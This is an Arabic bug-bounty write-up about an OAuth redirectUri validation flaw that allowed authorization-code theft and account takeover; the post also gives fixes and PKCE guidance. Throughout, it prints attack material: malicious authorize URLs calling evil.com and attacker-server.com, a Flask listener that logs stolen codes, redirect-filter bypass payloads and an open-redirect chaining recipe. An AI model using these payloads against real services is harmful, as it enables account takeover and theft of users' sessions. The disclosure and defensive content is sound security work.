استيلاء على الحساب عبر OAuth Redirect Manipulation - ثغرة بمكافأة 1500$ | Bug Bounty 2026

استيلاء على الحساب عبر OAuth Redirect Manipulation - ثغرة بمكافأة 1500$ | Bug Bounty 2026

أنا بعرف إنو كتير منكم مهتمين بعالم Bug Bounty وصيد الثغرات، وبتسألوني كيف ألاقي ثغرات حقيقية وكيف أبلّغ عنها وكيف أحصل على مكافآت. فاليوم رح آخذكم معي خطوة بخطوة بالرحلة الكاملة... من لحظة ما لاحظت إشي غريب بالـ OAuth flow، لحد ما أثبتت الثغرة وبلّغت عنها وحصلت على المكافأة.

وقبل ما نبدأ، إذا أنت جديد على عالم اكتشاف الثغرات و Bug Bounty، بنصحك تشوف مقالنا السابق عن أساسيات Bug Bounty عشان تفهم الأساسيات أول.

شو هو OAuth وليش هو هدف مغري للمهاجمين؟

قبل ما ندخل بتفاصيل الثغرة، خليني أشرحلك بسرعة شو هو OAuth ولو ما كنت فاهمه 100% عشان تقدر تفهم الباقي. OAuth هو بروتوكول تفويض (Authorization Protocol) بيسمح لتطبيق طرف ثالث إنه يوصل لبيانات المستخدم بدون ما يعرف كلمة السر تبعته. يعني لما بتسجل دخول لموقع باستخدام "Login with Google" أو "Login with Facebook"... هاد OAuth.

الـ OAuth flow العادي بيشتغل هيك: التطبيق بيحولك على صفحة تسجيل الدخول تبع الـ provider (مثلاً Google)، أنت بتسجل دخول وبتوافق على الصلاحيات، وبعدها Google بتحولك رجوع للتطبيق الأصلي ومعك authorization code. التطبيق بياخذ هالـ code وبيستبدله بـ access token وهيك بيقدر يوصل لحسابك.

هسا النقطة المهمة هون هي الـ redirect_uri... هاد الرابط اللي بيرجعلك عليه بعد ما تسجل دخول. المفروض السيرفر يتحقق إنو هالرابط مسجل مسبقاً ومصرح فيه، يعني ما يقبل أي رابط عشوائي. لأنو لو قبل أي رابط... المهاجم بيقدر يحط رابط تابع إله ويسرق الـ authorization code!

وهاد بالظبط اللي صار بالثغرة اللي اكتشفتها. السيرفر كان يقبل أي redirectUri بدون أي تحقق... يعني أي شخص بيقدر يوجه الـ OAuth flow لسيرفر خاص فيه ويسرق الـ code ويستولي على الحساب بالكامل.

ليش OAuth هدف مغري؟ لأنو أي خطأ صغير بالـ implementation ممكن يؤدي مباشرة لـ Account Takeover. مش محتاج تكسر تشفير أو تخمن كلمات سر... بس محتاج تلاقي ثغرة بالـ flow نفسه. وكتير شركات بتعمل أخطاء بالـ OAuth implementation تبعها لأنو البروتوكول معقد وفيه تفاصيل كتيرة لازم تنتبهلها.

كيف بدأت القصة - أول ملاحظة غريبة

ثغرة بمكافأة 1500$ | Bug Bounty 2026

هسا خليني أحكيلكم كيف بدأ الموضوع . كنت أعمل recon على هدف معين ضمن برنامج Bug Bounty، وكنت أفحص الـ endpoints المختلفة وأشوف كيف التطبيق بيتعامل مع الـ authentication. لاحظت إنو التطبيق بيستخدم OAuth flow خاص فيه مش الـ standard OAuth2 بالظبط... كان عنده endpoints مخصصة للـ authorization.

أول إشي لفت انتباهي إنو الـ OAuth application key (ak) كان ظاهر بوضوح داخل الـ frontend config. يعني أي شخص بيفتح الـ page source أو بيشوف الـ JavaScript files بيقدر يلاقي هالـ key بدون أي authentication. هاد بحد ذاته مش ثغرة خطيرة لحاله... بس هو أول قطعة من البازل.

بعدها بدأت أفحص الـ OAuth authorization endpoint وكيف بيتعامل مع الـ parameters. الـ endpoint كان شكله هيك:

GET /token/gc/authorize?ak=XXXX&redirectUri=https://legitimate-app.com/callback

السؤال اللي طرحته على حالي كان بسيط جداً: هل السيرفر فعلاً بيتحقق من الـ redirectUri؟ ولا بس بيستلمه ويثق فيه؟

هاد السؤال هو مفتاح كل شي. بأي OAuth flow طبيعي ومؤمّن، المفروض السيرفر يكون عنده قائمة بيضاء (whitelist) بالـ redirect URLs المسموح فيها. يعني لو أرسلت redirect URI مش مسجل... المفروض يرفضه ويعطيني error.

فعملت أبسط اختبار ممكن... غيرت الـ redirectUri لرابط خارجي تابع إلي:

GET /token/gc/authorize?ak=XXXX&redirectUri=https://evil.com/callback

وهون كانت المفاجأة... السيرفر قبل الرابط بدون أي مشكلة! ما طلع error، ما رفض الطلب، ما عمل أي validation. مباشرة أنشأ state token صالح وحولني لصفحة login الحقيقية. يعني السيرفر بيثق بأي redirectUri بينرسلّه بشكل أعمى!

بصراحة لما شفت هالنتيجة قلبي بدأ يدق بسرعة... لأنو عرفت إنو هاد ممكن يكون Account Takeover كامل لو قدرت أكمل الـ chain. بس ما استعجلت... قررت أفحص كل خطوة بالـ flow عشان أتأكد إنو الثغرة كاملة وقابلة للاستغلال.

التحليل التقني العميق - كيف الـ OAuth Flow كان مكسور

تمام، هسا خليني أشرحلكم بالتفصيل التقني شو كان يصير بالـ flow وليش كان مكسور. رح أمشي معكم خطوة بخطوة عشان تفهموا كل نقطة.

الخطوة 1: بداية الـ OAuth Flow

لما المهاجم بيرسل الطلب الأول للـ authorization endpoint مع redirectUri مزيف، السيرفر بيعمل الآتي:

GET /token/gc/authorize?ak=XXXX&redirectUri=https://evil.com/callback

Server Response:
- Creates a valid state token
- Stores the redirectUri server-side (linked to state)
- Redirects user to legitimate login page
- HTTP 302 → /login?state=abc123xyz

لاحظوا إشي مهم هون: السيرفر بيخزن الـ redirectUri عنده بالسيرفر نفسه ويربطه بالـ state token. هاد يعني إنو حتى لو الـ redirectUri ما ظهر بالـ URL بعدين... هو محفوظ ومرتبط بالـ session.

الخطوة 2: صفحة تسجيل الدخول الحقيقية

هون الخطورة الحقيقية بتبدأ. الضحية بتشوف صفحة تسجيل دخول حقيقية 100% على الدومين الرسمي. ما في أي إشارة أو تحذير إنو في إشي غلط. الـ URL حقيقي، الشهادة حقيقية، الصفحة حقيقية... كل إشي يبدو طبيعي تماماً.

وهاد اللي بيخلي هالنوع من الثغرات أخطر بكتير من التصيد العادي (Phishing). بالتصيد العادي الضحية ممكن تلاحظ إنو الدومين مختلف أو الصفحة مش مظبوطة. بس هون كل إشي حقيقي... الفخ مخبى بالـ backend مش بالـ frontend.

الخطوة 3: إكمال تسجيل الدخول والـ Restore

بعد ما الضحية تدخل بياناتها وتسجل دخول بنجاح، السيرفر بيكمل الـ OAuth flow. هون بيجي الـ restore endpoint:

GET /token/gc/restore?state=abc123xyz

Server Logic:
1. Looks up state token → finds stored redirectUri
2. Generates authorization code
3. Redirects to stored redirectUri with the code
4. HTTP 302 → https://evil.com/callback?code=AUTH_CODE_HERE

شفتوا شو صار؟ السيرفر رجع للـ redirectUri اللي حدده المهاجم بالبداية! الـ authorization code انرسل مباشرة لسيرفر المهاجم. وهالـ code هو المفتاح اللي بيسمح بالحصول على access token وبالتالي الوصول الكامل للحساب.

الخطوة 4: استغلال الـ Authorization Code

هسا المهاجم عنده الـ authorization code. كل اللي محتاج يعمله هو يستبدله بـ access token أو session token:

POST /token/gc/exchange
Content-Type: application/x-www-form-urlencoded

code=AUTH_CODE_HERE&ak=XXXX

Response:
{
  "access_token": "eyJhbGciOiJSUzI1NiIs...",
  "token_type": "Bearer",
  "expires_in": 3600,
  "session_id": "sess_xxxxxxxxxxxx"
}

وهيك... المهاجم صار عنده session صالح لحساب الضحية. بيقدر يدخل الحساب، يشوف البيانات، يغير الإعدادات، يعمل أي إشي الضحية بتقدر تعمله. Account Takeover كامل.

سيناريو الهجوم الكامل - من البداية للنهاية

تمام، هسا خليني أجمعلكم كل القطع مع بعض وأوريكم كيف الهجوم الكامل بيشتغل من وجهة نظر المهاجم والضحية. هاد السيناريو هو اللي قدمته بالـ report للشركة وهو اللي أقنعهم بخطورة الثغرة.

من جهة المهاجم:

أول إشي المهاجم بيجهز سيرفر بسيط يستقبل الـ callback. ممكن يكون سكربت بسيط بـ Python أو Node.js بيسجل أي request بيجيه:

# Simple callback server (attacker side)
from flask import Flask, request
app = Flask(__name__)

@app.route('/callback')
def callback():
    code = request.args.get('code')
    state = request.args.get('state')
    # Log the stolen authorization code
    with open('stolen_codes.txt', 'a') as f:
        f.write(f"Code: {code}, State: {state}\n")
    # Redirect victim to legitimate page (to avoid suspicion)
    return redirect('https://legitimate-app.com/dashboard')

app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

بعدها المهاجم بيجهز الرابط الخبيث:

https://legitimate-app.com/token/gc/authorize?ak=XXXX&redirectUri=https://evil.com/callback

لاحظوا إنو الرابط بيبدأ بالدومين الحقيقي! يعني الضحية لما تشوف الرابط رح تحس إنو طبيعي ومش مشبوه. وهاد اللي بيخلي الهجوم فعال جداً... لأنو مش محتاج تقنع الضحية تفتح رابط مشبوه.

من جهة الضحية:

الضحية بتستلم الرابط (عبر إيميل، رسالة، أو أي وسيلة). بتفتحه وبتشوف:

1. صفحة تسجيل دخول حقيقية على الدومين الرسمي
2. بتدخل اسم المستخدم وكلمة السر بشكل طبيعي
3. بتكمل أي خطوة إضافية (2FA مثلاً)
4. بتنحول "للتطبيق" — بس بالحقيقة بتنحول لسيرفر المهاجم
5. المهاجم بيسرق الـ code وبيحولها للصفحة الحقيقية عشان ما تشك

الضحية ما بتلاحظ أي إشي غريب! كل العملية بتصير بثواني والـ redirect بيكون سريع لدرجة إنو ما حدا بيلاحظه.

تقنيات إضافية لتجاوز الفلاتر:

خلال الاختبار، جربت عدة أشكال للـ redirectUri عشان أشوف إذا في أي نوع من الـ validation الجزئي. وكلها كانت مقبولة:

# All of these were accepted without any validation:

# Direct external domain
redirectUri=https://evil.com/callback

# Subdomain spoofing
redirectUri=https://legitimate-app.com.evil.com/callback

# Path manipulation
redirectUri=https://evil.com/legitimate-app.com/callback

# With port
redirectUri=https://evil.com:8443/callback

# URL encoded
redirectUri=https%3A%2F%2Fevil.com%2Fcallback

كل هالأشكال كانت مقبولة! يعني ما كان في أي نوع من الـ validation... لا domain checking، لا whitelist، لا regex matching... لا شي. السيرفر كان يقبل أي قيمة حرفياً.

إثبات الثغرة (Proof of Concept) وكتابة الـ Report

بعد ما تأكدت إنو الثغرة حقيقية وقابلة للاستغلال، كان لازم أجهز Proof of Concept (PoC) واضح ومقنع. بعالم Bug Bounty، الـ PoC هو اللي بيفرق بين report يتقبل ويتكافأ وبين report يترفض. لازم توضح بالظبط شو الخطوات، شو التأثير، وليش هاد خطير.

هاي الخطوات اللي عملتها لإثبات الثغرة:

## Proof of Concept Steps:

1. Extract the OAuth application key (ak) from frontend config
   → Found in: /static/js/app.config.js
   → ak = "gc_app_XXXXXXXXXX"

2. Craft malicious OAuth authorization URL:
   → https://target.com/token/gc/authorize?ak=gc_app_XXXXXXXXXX&redirectUri=https://attacker-server.com/steal

3. Set up callback listener on attacker server

4. Send crafted URL to victim (simulated with test account)

5. Victim clicks link → sees legitimate login page on target.com

6. Victim logs in normally

7. After successful auth, server redirects to:
   → https://attacker-server.com/steal?code=AUTHORIZATION_CODE

8. Use stolen code to obtain valid session:
   → POST /token/gc/exchange with stolen code
   → Receive valid access_token/session

9. Access victim's account with stolen session
   → Full account access confirmed

بالـ report حطيت كل التفاصيل: screenshots لكل خطوة، الـ HTTP requests والـ responses الكاملة، وفيديو يوضح الهجوم من البداية للنهاية. كمان وضحت التأثير بشكل واضح:

Impact Assessment:

- Confidentiality: المهاجم بيقدر يوصل لكل بيانات الحساب
- Integrity: المهاجم بيقدر يعدل بيانات الحساب والإعدادات
- Availability: المهاجم بيقدر يغير كلمة السر ويقفل الضحية بره حسابها
- CVSS Score: 9.3 (Critical) — Network/Low/None/Changed/High/High/None

وبالنهاية حطيت توصيات للإصلاح:

## Recommended Fixes:

1. Implement strict redirect_uri validation:
   - Maintain a whitelist of allowed redirect URIs
   - Use exact string matching (not substring/regex)
   - Reject any URI not in the whitelist

2. Validate redirect_uri at BOTH authorization AND token exchange:
   - Check at /authorize endpoint
   - Re-check at /token/exchange endpoint
   - Both must match the registered URI

3. Remove or restrict the OAuth application key exposure:
   - Don't expose ak in frontend code
   - Require authentication to initiate OAuth flows

4. Implement additional security measures:
   - Add PKCE (Proof Key for Code Exchange)
   - Bind authorization codes to specific redirect_uri
   - Short expiration for authorization codes (< 60 seconds)

الرد من الشركة والمكافأة

بعد ما أرسلت الـ report، انتظرت الرد. بصراحة كنت متوقع إنو يكون في نقاش أو أسئلة إضافية... بس الرد كان أسرع مما توقعت. خلال أيام قليلة الفريق الأمني أكد الثغرة وصنفها كـ Critical.

الـ timeline كان هيك:

- يوم 1: إرسال الـ report مع كل التفاصيل والـ PoC
- يوم 3: رد أولي من الفريق الأمني — "نحن نراجع التقرير"
- يوم 5: تأكيد الثغرة — "تم التحقق من الثغرة وهي صالحة"
- يوم 7: إصلاح الثغرة — أضافوا strict whitelist validation
- يوم 14: المكافأة — 1500$ + شكر رسمي

بصراحة المكافأة كانت مناسبة بالنسبة لخطورة الثغرة والبرنامج. في برامج تانية ممكن تكون المكافأة أعلى لنفس النوع من الثغرات... بس المهم إنو الثغرة اتصلحت والمستخدمين صاروا بأمان.

اللي أعجبني بالفريق الأمني إنهم ما بس صلحوا الـ redirectUri validation... كمان أضافوا PKCE (Proof Key for Code Exchange) وقصّروا مدة صلاحية الـ authorization code لـ 30 ثانية بدل ما كانت 10 دقائق. يعني عملوا إصلاح شامل مش بس ترقيع.

دروس مستفادة ونصائح لصيادين الثغرات

من هالتجربة تعلمت عدة دروس مهمة بدي أشاركها معكم:

1. الأسئلة البسيطة بتكشف ثغرات كبيرة

السؤال اللي طرحته كان بسيط جداً: "هل السيرفر بيتحقق من الـ redirectUri؟" ما كان سؤال معقد أو تقنية متقدمة. بس هالسؤال البسيط كشف ثغرة Critical. فدائماً ابدأ بالأسئلة الأساسية... هل في validation؟ هل في authorization check؟ هل الـ input بيتفلتر؟

2. افهم الـ Flow كامل قبل ما تبلّغ

ما بلّغت عن الثغرة أول ما لاحظت إنو الـ redirectUri مقبول. أخذت وقتي وفحصت كل خطوة بالـ flow عشان أتأكد إنو الثغرة كاملة وقابلة للاستغلال. هاد بيخلي الـ report أقوى وبيزيد فرصة القبول والمكافأة العالية.

3. الـ PoC الواضح هو كل شي

لو أرسلت report يقول "الـ redirectUri ما بيتحقق منه" بدون PoC كامل... ممكن يترفض أو يتصنف Low. بس لما أثبتت إنو بيؤدي لـ Account Takeover كامل مع فيديو وscreenshots... صار Critical ومكافأة 1500$.

4. OAuth هو منجم ذهب لصيادين الثغرات

أي تطبيق بيستخدم OAuth عنده احتمال كبير يكون فيه ثغرات. الأشياء اللي لازم تفحصها دائماً:

## OAuth Security Checklist for Bug Hunters:

[ ] redirect_uri validation - is it strict or loose?
[ ] state parameter - is it present and validated?
[ ] PKCE implementation - is it required?
[ ] Token scope - can you escalate permissions?
[ ] Client secret exposure - is it in frontend code?
[ ] Authorization code reuse - can you use it twice?
[ ] Token leakage - does it appear in URLs/logs/referrer?
[ ] Mixed OAuth flows - implicit vs authorization code
[ ] Race conditions - can you exchange code multiple times?
[ ] Subdomain takeover + OAuth - dangling DNS + redirect

5. لا تستعجل بالإبلاغ

كتير ناس بتلاقي ثغرة وبتبلّغ عنها بسرعة بدون ما تستكشف كل الاحتمالات. أنا أخذت وقتي وفحصت كل الـ bypass techniques وكل الأشكال الممكنة للاستغلال. هاد بيعطي الـ report قيمة أكبر وبيساعد الفريق الأمني يفهم حجم المشكلة الحقيقي.

كيف تحمي تطبيقك من ثغرات OAuth Redirect

هسا إذا أنت مطور أو مسؤول أمن معلومات، خليني أحكيلك بالظبط شو لازم تعمل عشان تحمي تطبيقك من هالنوع من الثغرات. هاي مش نصائح نظرية... هاي الأشياء اللي لو كانت مطبقة بالتطبيق اللي فحصته كانت الثغرة ما صارت أصلاً.

أولاً: Strict Redirect URI Validation

هاد أهم إشي. لازم يكون عندك قائمة بيضاء (whitelist) بالـ redirect URIs المسموح فيها، وتعمل exact string matching. يعني ما تستخدم substring matching أو regex... لأنو هاي بتفتح أبواب للتجاوز.

# WRONG - Vulnerable approaches:
if redirect_uri.startswith("https://myapp.com"):  # Bypassable!
if "myapp.com" in redirect_uri:  # Bypassable!
if re.match(r"https://.*myapp\.com", redirect_uri):  # Bypassable!

# CORRECT - Secure approach:
ALLOWED_REDIRECTS = [
    "https://myapp.com/callback",
    "https://myapp.com/auth/complete"
]
if redirect_uri not in ALLOWED_REDIRECTS:
    return error("Invalid redirect_uri", 400)

ثانياً: تطبيق PKCE (Proof Key for Code Exchange)

PKCE بيضيف طبقة حماية إضافية حتى لو المهاجم سرق الـ authorization code. الفكرة إنو التطبيق بيولد code_verifier عشوائي وبيرسل hash تبعه (code_challenge) مع الطلب الأول. ولما يجي يستبدل الـ code بـ token لازم يرسل الـ code_verifier الأصلي. المهاجم حتى لو سرق الـ code ما بيقدر يستخدمه بدون الـ code_verifier.

# PKCE Implementation Example:

import hashlib, base64, secrets

# Step 1: Client generates code_verifier
code_verifier = secrets.token_urlsafe(32)

# Step 2: Client creates code_challenge
code_challenge = base64.urlsafe_b64encode(
    hashlib.sha256(code_verifier.encode()).digest()
).rstrip(b'=').decode()

# Step 3: Authorization request includes challenge
# GET /authorize?...&code_challenge=XXXXX&code_challenge_method=S256

# Step 4: Token exchange MUST include verifier
# POST /token { code: "...", code_verifier: "original_verifier" }

# Server verifies: SHA256(code_verifier) == stored code_challenge

ثالثاً: إجراءات أمنية إضافية

- قصّر مدة صلاحية الـ Authorization Code: خليه يصلح لـ 30-60 ثانية بس. هيك حتى لو انسرق ما بيكون في وقت كافي لاستخدامه.
- اربط الـ Code بالـ Redirect URI: لما تستبدل الـ code بـ token، تحقق إنو الـ redirect_uri نفسه اللي استخدم بالطلب الأول.
- استخدم State Parameter: عشان تمنع CSRF attacks على الـ OAuth flow.
- لا تعرض الـ Client Secret بالـ Frontend: أي مفتاح حساس لازم يكون بالـ backend بس.
- سجّل ونبّه: أي محاولة استخدام redirect_uri غير مسجل لازم تتسجل وتطلع تنبيه أمني.

أدوات مفيدة لفحص OAuth Security

إذا بدك تبدأ تفحص OAuth flows بتطبيقات مختلفة، هاي بعض الأدوات اللي بتساعدك:

Burp Suite

أهم أداة لأي Bug Bounty hunter. بتقدر تعترض كل الـ requests وتعدل عليها وتشوف كيف السيرفر بيتعامل مع كل parameter. استخدمها عشان تعدل الـ redirect_uri وتشوف الرد.

OWASP ZAP

بديل مجاني لـ Burp Suite. فيها scanner تلقائي بيقدر يكتشف بعض ثغرات OAuth بشكل أوتوماتيكي.

OAuth Testing Tools

# Useful tools for OAuth security testing:

# 1. Burp Suite Extensions:
#    - AuthMatrix
#    - OAuth Scanner (BApp Store)

# 2. Command line testing:
curl -v "https://target.com/oauth/authorize?client_id=XXX&redirect_uri=https://evil.com&response_type=code&scope=openid"

# 3. Check for open redirects that chain with OAuth:
#    - Find open redirect on target domain
#    - Use it as redirect_uri (may bypass domain check)
#    Example: redirect_uri=https://target.com/redirect?url=https://evil.com

# 4. Test different URI formats:
#    - https://evil.com#@target.com
#    - https://target.com@evil.com
#    - https://target.com\.evil.com
#    - https://evil.com/target.com
#    - https://targetcom.evil.com

ثغرات OAuth شائعة تانية لازم تعرفها

الـ Redirect URI Manipulation هي بس واحدة من عدة ثغرات ممكن تلاقيها بـ OAuth flows. خليني أحكيلكم عن أشهر الثغرات التانية عشان تعرفوا شو تفحصوا:

1. State Parameter Missing/Predictable (CSRF)

إذا الـ OAuth flow ما بيستخدم state parameter أو بيستخدم قيمة متوقعة... المهاجم بيقدر يعمل CSRF attack ويربط حساب الضحية بحساب المهاجم على الـ OAuth provider. يعني الضحية بتسجل دخول وبتلاقي حالها داخلة على حساب المهاجم!

2. Token Leakage via Referrer Header

إذا الـ access token أو authorization code بينرسل بالـ URL (كـ fragment أو query parameter)... وبعدها الصفحة فيها روابط خارجية... الـ token ممكن يتسرب عبر الـ Referrer header لمواقع خارجية. هاي ثغرة شائعة بالـ Implicit Flow.

3. Authorization Code Reuse

المفروض الـ authorization code يُستخدم مرة وحدة بس. بس بعض التطبيقات بتسمح باستخدامه أكتر من مرة. هاد بيعني إنو حتى لو التطبيق الشرعي استخدم الـ code... المهاجم كمان بيقدر يستخدمه!

4. Scope Escalation

أحياناً بتقدر تطلب صلاحيات أكتر مما التطبيق مسجل إله. مثلاً التطبيق مسجل لـ "read" بس... بس لو أضفت "write" أو "admin" بالـ scope parameter ممكن السيرفر يقبلها بدون تحقق.

5. Open Redirect + OAuth Chain

حتى لو الـ redirect_uri validation موجود بس بيسمح بأي URL على نفس الدومين... إذا لقيت Open Redirect على نفس الدومين بتقدر تسلسلها مع الـ OAuth flow. يعني:

# Chain: Open Redirect + OAuth

# Step 1: Find open redirect on target
https://target.com/redirect?url=https://evil.com
# → Redirects to evil.com ✓

# Step 2: Use it as redirect_uri in OAuth
https://target.com/oauth/authorize?
  client_id=XXX&
  redirect_uri=https://target.com/redirect?url=https://evil.com&
  response_type=code

# Result: Server validates redirect_uri (it's on target.com domain)
# But after auth, user gets redirected to:
# target.com/redirect?url=https://evil.com&code=AUTH_CODE
# Which then redirects to:
# evil.com?code=AUTH_CODE
# → Code stolen!

هالنوع من الـ chaining هو اللي بيفرق بين Bug Bounty hunter عادي وبين واحد محترف. دائماً فكر: كيف ممكن أجمع ثغرتين صغيرتين مع بعض عشان أعمل impact أكبر؟

الخاتمة - رأيي الشخصي ونصيحة أخيرة

بصراحة، هالثغرة علمتني إشي مهم جداً: أخطر الثغرات مش بالضرورة الأعقد. أحياناً سؤال بسيط زي "هل هالـ input بيتفلتر؟" بيكشف ثغرة Critical بتجيبلك 1500$ أو أكتر. المهم إنك تفهم الـ flow كامل وتعرف وين ممكن يكون في خلل.

نصيحتي لكل واحد بده يبدأ بـ Bug Bounty: لا تستصعب الموضوع. ابدأ بالأساسيات... افهم كيف OAuth بيشتغل، كيف الـ authentication flows بتمشي، وابدأ اسأل أسئلة بسيطة. "هل هاد بيتحقق منه؟ هل هاد مشفر؟ هل هاد بينتهي؟" هاي الأسئلة البسيطة هي اللي بتفتحلك أبواب.

وتذكروا دائماً: الهدف من Bug Bounty هو تحسين أمن الإنترنت للجميع. كل ثغرة بتبلّغ عنها بتحمي آلاف أو ملايين المستخدمين. فمش بس موضوع فلوس... هو كمان مسؤولية.

إذا عجبكم المقال وبدكم أكتب أكتر عن تجاربي بـ Bug Bounty وثغرات تانية اكتشفتها... اكتبولي بالتعليقات أو راسلوني على التلغرام. وإذا بدكم تتعلموا أكتر عن أدوات الاختبار الأمني، شوفوا مقالاتنا السابقة عن Bug Bounty.

والسلام عليكم ورحمة الله... وإلى مقال جديد إن شاء الله.

OAuth ثغرة، Account Takeover، Bug Bounty عربي، redirect_uri manipulation، استيلاء على الحساب، OAuth security، ثغرات OAuth 2026، Bug Bounty 1500$، اختراق حسابات OAuth، PKCE، authorization code theft، OAuth redirect vulnerability، صيد ثغرات، Shadow Hacker Bug Bounty، ثغرات تطبيقات الويب